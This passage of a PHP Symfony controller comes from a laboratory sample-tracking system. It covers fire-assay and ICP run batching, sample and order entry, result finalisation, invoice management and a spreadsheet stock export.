  1648. return $this->render('cats/moistsarchive.html.twig',[]);
  1649. }
  1650. //=====================================================================================================================================================================================<
  1651. /**
  1652. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1653. * @Route("/fassayprelim", name="fassayprelim")
  1654. * @param Request $request
  1655. * @return Response $response
  1656. */
  1657. public function fassayprelim(Request $request){
  1659. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1660. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1661. // 'status' => ['Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated']
  1662. // ]);
  1664. /* @var QueryBuilder $qb */
  1665. $qb = $this->em->createQueryBuilder();
  1666. $qb->select('a,b,c');
  1667. $qb->from(PRun::class, 'a');
  1668. $qb->leftJoin('a.assignedSample', 'b');
  1669. $qb->leftJoin('b.assignedOrder', 'c');
  1670. $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated')");
  1671. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1672. $qb->andWhere('c.WNJ = TRUE');
  1673. }
  1674. $prelims=$qb->getQuery()->getResult();
  1675. $data = $request->request->all();
  1677. if ( $request->isMethod("post") ) {
  1678. if (null !== $request->get('newfabatch')) {
  1679. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1680. $info2 = $data['chkids'];
  1681. $newbatch = new FABatch();
  1682. $newbatch->setDate(new \DateTime());
  1683. $this->em->persist($newbatch);
  1684. foreach ($info2 as $j) {
  1685. $icprundummy = $this->getDoctrine()->getRepository(PRun::class)->findOneBy([
  1686. 'id' => $j
  1687. ]);
  1688. $icprundummy->setAssignedFABatch($newbatch);
  1689. $this->em->persist($icprundummy);
  1690. }
  1691. $this->em->flush();
  1692. return $this->redirect($this->generateUrl('fassayprelim'));
  1693. }
  1694. }
  1695. }
  1696. return $this->render('cats/fassayprelim.html.twig',[
  1697. 'pruns' => $prelims,
  1698. 'fabatches' => $fabatches
  1699. ]);
  1700. }
  1701. //=====================================================================================================================================================================================<
  1702. /**
  1703. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1704. * @Route("/fassayreg/{type}", name="fassayreg")
  1705. * @param string $type
  1706. * @param Request $request
  1707. * @return Response $response
  1708. */
  1709. public function fassayreg(string $type, Request $request)
  1710. {
  1711. // /* @var QueryBuilder $qb */
  1712. // $qb = $this->em->createQueryBuilder();
  1713. // $qb->select('a,b,c');
  1714. // $qb->from(RRun::class, 'a');
  1715. // $qb->leftJoin('a.assignedSample', 'b');
  1716. // $qb->leftJoin('b.assignedOrder', 'c');
  1717. // $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'CUP Q', 'DIS Q', 'Completed')");
  1718. // if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1719. // $qb->andWhere('c.WNJ = TRUE');
  1720. // }
  1721. // $rruns = ($qb->getQuery()->getResult());
  1723. $batches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy([],['id' => 'DESC'],60);
  1724. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1725. $data = $request->request->all();
  1726. if ( $request->isMethod("post") ) {
  1727. if (null !== $request->get('newbatch')) {
  1728. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1729. $info2 = $data['chkids'];
  1730. $newbatch = new DISQBatch();
  1731. $newbatch->setDate(new \DateTime());
  1732. $newbatch->setStatus('');
  1733. $this->em->persist($newbatch);
  1734. foreach ($info2 as $j) {
  1735. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1736. 'id' => $j
  1737. ]);
  1738. if ($icprundummy->getStatus()=='DIS Q') {
  1739. $icprundummy->setAssignedDISQBatch($newbatch);
  1740. $this->em->persist($icprundummy);
  1741. }
  1742. }
  1743. $this->em->flush();
  1744. return $this->redirect($this->generateUrl('fassayreg'));
  1745. }
  1746. }
  1747. if (null !== $request->get('unassignbatch')) {
  1748. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1749. $info2 = $data['chkids'];
  1750. foreach ($info2 as $j) {
  1751. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1752. 'id' => $j
  1753. ]);
  1754. $icprundummy->setAssignedDISQBatch(NULL);
  1755. $this->em->persist($icprundummy);
  1757. }
  1758. $this->em->flush();
  1759. return $this->redirect($this->generateUrl('fassayreg'));
  1760. }
  1761. }
  1763. return $this->redirect($this->generateUrl('fassayreg'));
  1764. }
  1766. return $this->render('cats/fassayreg.html.twig',[
  1767. // 'rruns' => $rruns,
  1768. 'batches' => $batches,
  1769. 'fabatches' => $fabatches
  1770. ]);
  1771. }
  1772. //=====================================================================================================================================================================================<
  1773. /**
  1774. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1775. * @Route("/icp", name="icp")
  1776. * @param Request $request
  1777. * @return Response $response
  1778. */
  1779. public function icp(Request $request)
  1780. {
  1781. $batches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy([],['id' => 'DESC'],60);
  1782. return $this->render('cats/icp.html.twig',[
  1783. 'batches' => $batches,
  1784. ]);
  1785. }
  1786. //=====================================================================================================================================================================================<
  1787. /**
  1788. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1789. * @Route("/icprecent", name="icprecent")
  1790. * @param Request $request
  1791. * @return Response $response
  1792. */
  1793. public function icprecent(Request $request)
  1794. {
  1795. return $this->render('cats/icprecent.html.twig',[
  1796. 'icpruns' => []
  1797. ]);
  1798. }
  1799. //=====================================================================================================================================================================================<
  1800. /**
  1801. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1802. * @Route("/icpall", name="icpall")
  1803. * @param Request $request
  1804. * @return Response $response
  1805. */
  1806. public function icpall(Request $request)
  1807. {
  1808. return $this->render('cats/icpall.html.twig',[
  1809. 'icpruns' => []
  1810. ]);
  1811. }
  1812. //=====================================================================================================================================================================================<
  1813. /**
  1814. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1815. * @Route("/fassayregarchive", name="fassayregarchive")
  1816. * @param Request $request
  1817. * @return Response $response
  1818. */
  1820. public function fassayregarchive(Request $request)
  1821. {
  1824. //$rruns = $this->getDoctrine()->getRepository(RRUN::class)->findBy([
  1825. // 'status' => ['Archived']
  1826. //]);
  1828. return $this->render('cats/fassayregarchive.html.twig',[
  1829. //'rruns' => $rruns
  1830. ]);
  1831. }
  1832. //=====================================================================================================================================================================================<
  1833. /**
  1834. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1835. * @Route("/fassayregrecent", name="fassayregrecent")
  1836. * @param Request $request
  1837. * @return Response $response
  1838. */
  1840. public function fassayregrecent(Request $request)
  1841. {
  1842. return $this->render('cats/fassayregrecent.html.twig',[]);
  1843. }
  1844. //=====================================================================================================================================================================================<
  1845. /**
  1846. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1847. * @Route("/fassaypreliminaryarchive", name="fassaypreliminaryarchive")
  1848. * @param Request $request
  1849. * @return Response $response
  1850. */
  1852. public function fassaypreliminaryarchive(Request $request)
  1853. {
  1854. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1855. // 'status' => ['Archived']
  1856. // ]);
  1858. return $this->render('cats/fassayprelimarchive.html.twig',[]);
  1859. }
  1860. //=====================================================================================================================================================================================<
  1861. /**
  1862. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1863. * @param Request $request
  1864. * @Route("cats/addCatSamples", name="addCatSamples")
  1865. * @return Response $response
  1866. */
  1867. public function addCatSamples(Request $request, ExportCountryRelationService $relationService)
  1868. {
  1869. if ( $request->isMethod("post") ) {
  1870. $info = $request->get('entry');
  1871. //dump($info);
  1872. $samplenames = [];
  1873. $date = $request->get('date');
  1874. foreach($info as $j){
  1875. $entry = new Inventory();
  1876. $entry->setDateofreceipt(new \DateTime($date));
  1877. $entry->setSampleType($j['type']);
  1878. $entry->setSampleSubType($j['subtype']);
  1879. $entry->setSampleName($j['name']);
  1880. $entry->setAddedtocatalogue(false);
  1881. array_push($samplenames, $j['name']);
  1882. $entry->setPriority('Normal');
  1883. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1884. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1885. }
  1886. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1887. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1888. }
  1889. $entry->setMillStatus("Original");
  1890. $entry->setAnalysisStatus("None");
  1891. $entry->setXrfStatus("To Add");
  1892. $entry->setCountry($j['country']);
  1893. $entry->setExportno($j['export']);
  1894. $entry->setReady(false);
  1895. $this->em->persist($entry);
  1896. }
  1897. $log = new Log();
  1898. $log->setDate(new \DateTime());
  1899. $log->setType('Added Samples');
  1900. $log->setText('New samples were added');
  1901. $log->setAssignedUser($this->getUser());
  1902. $log->setText2(implode(",", $samplenames));
  1903. $this->em->persist($log);
  1904. $this->em->flush();
  1905. return $this->redirect($this->generateUrl('inventory'));
  1906. }
  1907. $relationViewData = $relationService->getViewData();
  1909. return $this->render('cats/addsamples.html.twig', [
  1910. 'exportCountryLookup' => $relationViewData['lookup'],
  1911. ]);
  1912. }
  1913. //=====================================================================================================================================================================================<
  1914. /**
  1915. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1916. * @param Request $request
  1917. * @Route("cats/addCatOrders", name="addCatOrders")
  1918. * @return Response $response
  1919. */
  1920. public function addCatOrders(Request $request)
  1921. {
  1922. if ( $request->isMethod("post") ) {
  1923. $info = $request->get('entry');
  1924. //dump($info);
  1926. $date = $request->get('date');
  1927. //dump($date);
  1928. $entry = new Orders();
  1929. $entry->setDateofreceipt(new \DateTime($info['dateofreceipt']));
  1930. $entry->setOrderno(strtoupper($info['orderno']));
  1931. $entry->setSender($info['sender']);
  1932. $entry->setMReceive((float)$info['mreceive']);
  1933. $entry->setClient($info['client']);
  1934. $entry->setStatus('Open');
  1935. $entry->setWaybill($info['wb']);
  1936. $entry->setCourrier($info['courrier']);
  1937. $this->em->persist($entry);
  1939. $this->em->flush();
  1940. return $this->redirect($this->generateUrl('orders'));
  1941. }
  1942. return $this->render('cats/addorders.html.twig');
  1943. }
  1944. //=====================================================================================================================================================================================<
  1945. /**
  1946. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1947. * @param Request $request
  1948. * @Route("/incomingorders", name="incomingorders")
  1949. * @return Response $response
  1950. */
  1951. public function incomingorders(Request $request)
  1952. {
  1953. if ( $request->isMethod("post") ) {
  1954. $info = $request->get('entry');
  1955. //dump($info);
  1957. $date = $request->get('date');
  1958. //dump($date);
  1959. $entry = new Orders();
  1960. $entry->setDateofreceipt(new \DateTime($date));
  1961. $entry->setOrderno(strtoupper($info['orderno']));
  1962. $entry->setSender($info['sender']);
  1963. $entry->setClient($info['client']);
  1964. $entry->setStatus('Open');
  1965. $entry->setWaybill($info['wb']);
  1966. $entry->setCourrier($info['courrier']);
  1967. $this->em->persist($entry);
  1969. $this->em->flush();
  1970. return $this->redirect($this->generateUrl('orders'));
  1971. }
  1972. $orders = $this->em->getRepository(ClientParcel::class)->findAll();
  1975. return $this->render('cats/incomingorders.html.twig',[
  1976. 'orders' => $orders
  1977. ]);
  1978. }
  1979. //=====================================================================================================================================================================================<
  1980. /**
  1981. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1982. * @param Request $request
  1983. * @Route("/orders", name="orders")
  1984. * @return Response $response
  1985. */
  1986. public function orders(Request $request)
  1987. {
  1988. /* @var QueryBuilder $qb */
  1989. $qb = $this->em->createQueryBuilder();
  1990. $qb->select('a');
  1991. $qb->from(Orders::class, 'a');
  1992. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1993. $qb->where('a.WNJ = TRUE');
  1994. }
  1995. $orders = ($qb->getQuery()->getResult());
  1998. if ( $request->isMethod("post") ) {
  1999. if (null !== $request->get('edit')){
  2000. $info = $request->get('ids');
  2001. //dump($request);
  2002. //dump($info);
  2003. $editorders = $this->getDoctrine()->getRepository(Orders::class)->findby([
  2004. 'id' => $info
  2005. ]);
  2006. return $this->render('cats/editorders.html.twig', [
  2007. 'orders' => $editorders
  2008. ]);
  2010. }
  2011. if (null !== $request->get('editconfirm')){
  2012. $info = $request->get('entry');
  2014. foreach($info as $j) {
  2015. $date = $request->get('date');
  2016. $entry = $this->getDoctrine()->getRepository(Orders::class)->find($j['id']);
  2017. /** @var Orders $entry */
  2018. $entry->setDateofreceipt(new \DateTime($j['dateofreceipt']));
  2019. $entry->setOrderno($j['orderno']);
  2020. $entry->setMReceive((float)$j['mreceive']);
  2021. $entry->setSender($j['sender']);
  2022. $entry->setClient($j['client']);
  2023. $entry->setWaybill($j['wb']);
  2024. if ($j['mdisposed'] > 0){
  2025. $entry->setMDisposed((float)$j['mdisposed']);
  2026. $entry->setDisposeDate(new \DateTime($j['disposedate']));
  2027. }
  2028. $entry->setCourrier($j['courrier']);
  2029. $this->em->persist($entry);
  2030. }
  2031. $this->em->flush();
  2032. return $this->redirect($this->generateUrl('orders'));
  2033. }
  2034. }
  2035. return $this->render('cats/orders.html.twig',[
  2036. 'orders' => $orders
  2037. ]);
  2038. }
  2039. //=====================================================================================================================================================================================<
  2040. /**
  2041. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2042. * @param Request $request
  2043. * @Route("/tasks", name="tasks")
  2044. * @return Response $response
  2045. */
  2046. public function tasks(Request $request)
  2047. {
  2049. /** @var Inventory $inv */
  2050. $inv = $this->getDoctrine()->getRepository(Inventory::class)->findAll();
  2051. /** @var Orders $orders */
  2052. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  2053. /** @var Inventory $priority */
  2054. $priority = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2055. 'priority' => "High",
  2056. 'analysisStatus' => ["In Progress","To Start"]
  2057. ]);
  2058. /** @var Inventory $milllist */
  2059. $milllist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2060. 'millStatus' => "To Mill"
  2061. ]);
  2062. /** @var Inventory $milllist */
  2063. $openlist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2064. 'analysisStatus' => ["In Progress","To Start"]
  2065. ]);
  2066. /** @var PRun $prunweighq */
  2067. $prunweighq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  2068. 'status' => "Weigh Q"
  2069. ]);
  2070. /** @var RRun $rrunweighq */
  2071. $rrunweighq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2072. 'status' => "Weigh Q"
  2073. ]);
  2074. /** @var PRun $prunfaq */
  2075. $prunfaq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  2076. 'status' => "FA Q"
  2077. ]);
  2078. /** @var RRun $rrunfaq */
  2079. $rrunfaq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2080. 'status' => "FA Q"
  2081. ]);
  2082. /** @var RRun $rruncupq */
  2083. $rruncupq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2084. 'status' => "CUP Q"
  2085. ]);
  2086. /** @var RRun $rrundisq */
  2087. $rrundisq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2088. 'status' => "DIS Q"
  2089. ]);
  2090. /** @var Inventory $xrfq */
  2091. $xrfq = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2092. 'xrfStatus' => "To Add"
  2093. ]);
  2095. return $this->render('cats/tasks.html.twig',[
  2096. 'orders' => $orders,
  2097. 'inventory' => $inv,
  2098. 'priority' => $priority,
  2099. 'milllist' => $milllist,
  2100. 'openlist' => $openlist,
  2101. 'prunweighq' => $prunweighq,
  2102. 'rrunweighq' => $rrunweighq,
  2103. 'rrunfaq' => $rrunfaq,
  2104. 'prunfaq' => $prunfaq,
  2105. 'rruncupq' => $rruncupq,
  2106. 'rrundisq' => $rrundisq,
  2107. 'xrfq' => $xrfq
  2108. ]);
  2109. }
  2110. //=====================================================================================================================================================================================<
  2111. /**
  2112. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2113. * @param Request $request
  2114. * @Route("/log", name="log")
  2115. * @return Response $response
  2116. */
  2117. public function log(Request $request)
  2118. {
  2120. /** @var Log $inv */
  2121. //$log = $this->getDoctrine()->getRepository(Log::class)->findAll();
  2124. return $this->render('cats/log.html.twig',[
  2125. //'log' => $log
  2126. ]);
  2127. }
  2128. //=====================================================================================================================================================================================<
  2129. /**
  2130. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2131. * @param Request $request
  2132. * @Route("/cp", name="cp")
  2133. * @return Response $response
  2134. */
  2135. public function cp(Request $request)
  2136. {
  2138. /** @var Inventory $samples */
  2139. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2140. 'analysisStatus' => ['In Progress', 'Flagged']
  2141. ],[
  2142. 'id' => 'ASC'
  2143. ]);
  2145. //$qb = $this->em->createQuery("SELECT a FROM App\Entity\Inventory a LEFT OUTER JOIN a.rruns b LEFT OUTER JOIN b.icpruns c WHERE (a.analysisStatus = 'In Progress' and c.icppt IS NOT NULL) GROUP BY a.id ORDER By a.id DESC");
  2147. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  2148. /* @var QueryBuilder $qb */
  2149. $qb = $this->em->createQueryBuilder();
  2150. $qb->select('a');
  2151. $qb->from(Inventory::class, 'a');
  2152. $qb->leftJoin('a.assignedOrder', 'b');
  2153. $qb->leftJoin('a.rruns', 'c');
  2154. $qb->leftJoin('c.icpruns', 'd');
  2155. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  2156. $qb->andWhere('d.icppt IS NOT NULL');
  2157. $qb->andWhere('b.WNJ = TRUE');
  2158. //$qb->andWhere('d.icppt IS NOT NULL');
  2159. $samples = ($qb->getQuery()->getResult());
  2160. } else {
  2161. /* @var QueryBuilder $qb */
  2162. $qb = $this->em->createQueryBuilder();
  2163. $qb->select('a');
  2164. $qb->from(Inventory::class, 'a');
  2165. $qb->leftJoin('a.assignedOrder', 'b');
  2166. $qb->leftJoin('a.rruns', 'c');
  2167. $qb->leftJoin('c.icpruns', 'd');
  2168. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  2169. $qb->andWhere('d.icppt IS NOT NULL');
  2170. //$qb->andWhere('d.icppt IS NOT NULL');
  2171. $samples = ($qb->getQuery()->getResult());
  2172. }
  2174. if ( $request->isMethod("post") ) {
  2175. $data = $request->request->all();
  2176. if (null !== $request->get('finalize')){
  2177. if (array_key_exists('chkids',$data)) {
  2178. foreach ($data['chkids'] as $j) {
  2179. /** @var Inventory $sample */
  2180. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2181. 'id' => $j
  2182. ]);
  2183. foreach ($sample->getRruns() as $k) {
  2184. /** @var RRun $k */
  2185. $k->setStatus('Archived');
  2186. $this->em->persist($k);
  2187. foreach ($k->getIcpruns() as $l) {
  2188. /** @var RRun $l */
  2189. $l->setStatus('Archived');
  2190. $this->em->persist($l);
  2191. }
  2192. }
  2193. $sample->setDateFinished(new \DateTime());
  2194. $sample->setAnalysisStatus('Completed');
  2195. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2196. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2197. $sample->setIcprh($data['entry'][$j]['avgrh']);
  2198. $this->em->persist($sample);
  2199. $this->em->flush();
  2201. }
  2202. }
  2203. return $this->redirect($this->generateUrl('cp'));
  2204. }
  2205. if (null !== $request->get('finalizemaxrh')){
  2206. if (array_key_exists('chkids',$data)) {
  2207. foreach ($data['chkids'] as $j) {
  2208. /** @var Inventory $sample */
  2209. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2210. 'id' => $j
  2211. ]);
  2212. foreach ($sample->getRruns() as $k) {
  2213. /** @var RRun $k */
  2214. $k->setStatus('Archived');
  2215. $this->em->persist($k);
  2216. foreach ($k->getIcpruns() as $l) {
  2217. /** @var RRun $l */
  2218. $l->setStatus('Archived');
  2219. $this->em->persist($l);
  2220. }
  2221. }
  2222. foreach ($sample->getMoists() as $i){
  2223. /** @var Moists $i*/
  2224. $i->setStatus('Archived');
  2225. $this->em->persist($i);
  2226. }
  2227. $sample->setDateFinished(new \DateTime());
  2228. $sample->setAnalysisStatus('Completed');
  2229. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2230. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2231. $sample->setIcprh($data['entry'][$j]['maxrh']);
  2232. $this->em->persist($sample);
  2233. $this->em->flush();
  2235. }
  2236. }
  2237. return $this->redirect($this->generateUrl('cp'));
  2238. }
  2239. if (null !== $request->get('finalizemaxrhcustom')){
  2240. if (array_key_exists('chkids',$data)) {
  2241. foreach ($data['chkids'] as $j) {
  2242. /** @var Inventory $sample */
  2243. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2244. 'id' => $j
  2245. ]);
  2246. foreach ($sample->getRruns() as $k) {
  2247. /** @var RRun $k */
  2248. $k->setStatus('Archived');
  2249. $this->em->persist($k);
  2250. foreach ($k->getIcpruns() as $l) {
  2251. /** @var RRun $l */
  2252. $l->setStatus('Archived');
  2253. $this->em->persist($l);
  2254. }
  2255. }
  2256. foreach ($sample->getMoists() as $i){
  2257. /** @var Moists $i*/
  2258. $i->setStatus('Archived');
  2259. $this->em->persist($i);
  2260. }
  2261. $sample->setDateFinished(new \DateTime());
  2262. $sample->setAnalysisStatus('Completed');
  2263. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2264. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2265. $sample->setIcprh($data['entry'][$j]['maxrh']*0.996);
  2266. $this->em->persist($sample);
  2267. $this->em->flush();
  2269. }
  2270. }
  2271. return $this->redirect($this->generateUrl('cp'));
  2272. }
  2273. if (null !== $request->get('flag')){
  2274. $info = $request->get('entry');
  2276. foreach($data['chkids'] as $j){
  2277. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2278. 'id' => $j
  2279. ]);
  2280. $sample->setAnalysisStatus('Flagged');
  2281. $this->em->persist($sample);
  2282. $this->em->flush();
  2284. }
  2285. return $this->redirect($this->generateUrl('cp'));
  2286. }
  2287. }
  2288. return $this->render('cats/cp.html.twig',[
  2289. 'inventory' => $samples,
  2290. ]);
  2291. }
  2292. //=====================================================================================================================================================================================<
  2293. /**
  2294. * @Security("is_granted('ROLE_INVOICES') or is_granted('ROLE_ADMINISTRATORIUS')")
  2295. * @param Request $request
  2296. * @Route("/invoices", name="invoices")
  2297. * @return Response $response
  2298. */
  2299. public function invoices(Request $request)
  2300. {
  2301. $qb = $this->em->createQueryBuilder();
  2302. $qb->setCacheable(false);
  2303. $qb->select('i');
  2304. $qb->from(Invoice::class,'i');
  2305. $qb->leftJoin('i.orders', 'o');
  2306. $qb->leftJoin('o.samples', 's');
  2307. $qb->where("i.status = 'Open'");
  2308. $invoices = $qb->getQuery()->getResult();
  2310. $qb = $this->em->createQueryBuilder();
  2311. $qb->setCacheable(false);
  2312. $qb->select('i');
  2313. $qb->from(Invoice::class, 'i');
  2314. $qb->leftJoin('i.orders', 'o');
  2315. $qb->leftJoin('o.samples', 's');
  2316. $qb->where("i.status = 'Closed'");
  2317. $allClosedInvoices = $qb->getQuery()->getResult();
  2319. // Create a DateTime object for one year ago
  2320. $oneYearAgo = new \DateTime();
  2321. $oneYearAgo->modify('-1 year');
  2323. // Filter closed invoices in PHP to keep only those with orders not older than 1 year
  2324. $closedinvoices = array_filter($allClosedInvoices, function($invoice) use ($oneYearAgo) {
  2325. /** @var Invoice $invoice */
  2326. $orders = $invoice->getOrders();
  2328. // If there are no orders, keep the invoice by default
  2329. if (count($orders) === 0) {
  2330. return true;
  2331. }
  2333. // Check if at least one order is newer than one year ago
  2334. foreach ($orders as $order) {
  2335. if ($order->getDateOfReceipt() >= $oneYearAgo) {
  2336. return true;
  2337. }
  2338. }
  2340. return false;
  2341. });
  2343. if ($request->isMethod("post")) {
  2344. $data = $request->request->all();
  2345. if (null !== $request->get('newinvoice')){
  2346. $invoice = new Invoice();
  2347. $invoice->setInvoiceno($data['entry']['invoiceno']);
  2348. $invoice->setAmount((float)$data['entry']['amount']);
  2349. $invoice->setCurrency($data['entry']['currency']);
  2350. $invoice->setRecipient($data['entry']['recipient']);
  2351. $invoice->setStatus('Open');
  2352. $this->em->persist($invoice);
  2353. $this->em->flush();
  2354. return $this->redirect($this->generateUrl('invoices'));
  2355. }
  2356. if (null !== $request->get('editamount')){
  2357. $invoiceid = $data['invoiceid'];
  2358. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2359. 'id' => $invoiceid
  2360. ]);
  2361. $invoice->setInvoiceno($data['invoiceno']);
  2362. $invoice->setAmount((float)$data['amount']);
  2363. $invoice->setCurrency($data['currency']);
  2364. $invoice->setRecipient($data['recipient']);
  2365. $this->em->persist($invoice);
  2366. $this->em->flush();
  2367. return $this->redirect($this->generateUrl('invoices'));
  2368. }
  2369. if (null !== $request->get('unassignorder')){
  2370. $temporder = $this->getDoctrine()->getRepository(Orders::class)->findOneBy([
  2371. 'id' => $data['orderid']
  2372. ]);
  2373. $temporder->setAssignedInvoice(Null);
  2374. $this->em->persist($temporder);
  2375. $this->em->flush();
  2376. return new Response("success");
  2377. }
  2378. if (null !== $request->get('deleteinvoice')){
  2379. $invoiceid = $data['invoiceid'];
  2380. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2381. 'id' => $invoiceid
  2382. ]);
  2383. $ordersdel = $this->getDoctrine()->getRepository(Orders::class)->findBy([
  2384. 'assignedInvoice' => $invoice
  2385. ]);
  2386. foreach ($ordersdel as $j){
  2387. $j->setAssignedInvoice(NULL);
  2388. $this->em->persist($j);
  2389. $this->em->flush();
  2390. }
  2391. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2392. 'id' => $invoiceid
  2393. ]);
  2394. $this->em->remove($invoice);
  2395. $this->em->flush();
  2396. return $this->redirect($this->generateUrl('invoices'));
  2397. }
  2398. }
  2399. if (null !== $request->get('closeinvoice')){
  2400. $invoiceid = $data['invoiceid'];
  2401. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2402. 'id' => $invoiceid
  2403. ]);
  2404. $invoice->setStatus('Closed');
  2405. $this->em->persist($invoice);
  2406. $this->em->flush();
  2407. return $this->redirect($this->generateUrl('invoices'));
  2408. }
  2410. return $this->render('cats/invoices.html.twig', [
  2411. 'invoices' => $invoices,
  2412. 'closedinvoices' => array_reverse($closedinvoices)
  2413. ]);
  2414. }
  2415. //=====================================================================================================================================================================================<
  2416. /**
  2417. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2418. * @param Request $request
  2419. * @Route("/stock/download", name="stock_download")
  2420. * @return Response $response
  2421. */
  2422. public function downloadXlsx(Request $request)
  2423. {
  2424. $type = $request->query->get('type'); // Get type
  2425. $stockIds = $request->query->get('stockIds', []); // Get selected sample IDs
  2426. $fromDate = $request->query->get('fromDate'); // Get from-date filter
  2427. $toDate = $request->query->get('toDate'); // Get to-date filter
  2429. // Decode JSON string into array if necessary
  2430. if (is_string($stockIds)) {
  2431. $stockIds = json_decode($stockIds, true);
  2432. }
  2434. $currentDate = (new \DateTime())->format('ymdHis');
  2435. $filename = sprintf('%s_stock_%s.xlsx', $currentDate, strtolower($type)); // Generate filename
  2437. // Create a new Spreadsheet
  2438. $spreadsheet = new Spreadsheet();
  2439. $sheet = $spreadsheet->getActiveSheet();
  2441. // Add headers
  2442. $headers = ['ID', 'Stock ID', 'Stock Name', 'Supplier', 'CAS', 'Stock Type', 'Action Type', 'Quantity', 'Remaining Quantity', 'Date'];
  2443. $sheet->fromArray($headers, null, 'A1', true);
  2445. // Fetch data from StockManagement repository
  2446. $stockManagements = $this->getDoctrine()->getRepository(StockManagement::class)->findAllForXls($type, $stockIds, $fromDate, $toDate);
  2448. // Populate data rows
  2449. $row = 2; // Start after headers
  2450. foreach ($stockManagements as $entry) {
  2451. $sheet->fromArray([
  2452. $entry->getId(),
  2453. $entry->getStockId(),
  2454. $entry->getStockName(),
  2455. $entry->getSupplier(),
  2456. $entry->getComment(),
  2457. $entry->getStockType(),
  2458. $entry->getActionType(),
  2459. $entry->getQuantity(),
  2460. $entry->getTotalQuantity(),
  2461. $entry->getDate()->format('Y-m-d H:i:s'),
  2462. ], null, 'A' . $row, true);
  2464. $row++;
  2465. }
  2467. // Generate the Excel file
  2468. $writer = new Xlsx($spreadsheet);
  2470. // Prepare the response
  2471. $response = new StreamedResponse(function () use ($writer) {
  2472. $writer->save('php://output');
  2473. });
  2475. // Set headers for Excel download
  2476. $response->setStatusCode(200);
  2477. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  2478. $response->headers->set('Content-Disposition', 'attachment; filename="' . $filename . '"');
  2480. return $response;
  2481. }
  2483. //=====================================================================================================================================================================================<
  2484. /**
  2485. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2486. * @param Request $request
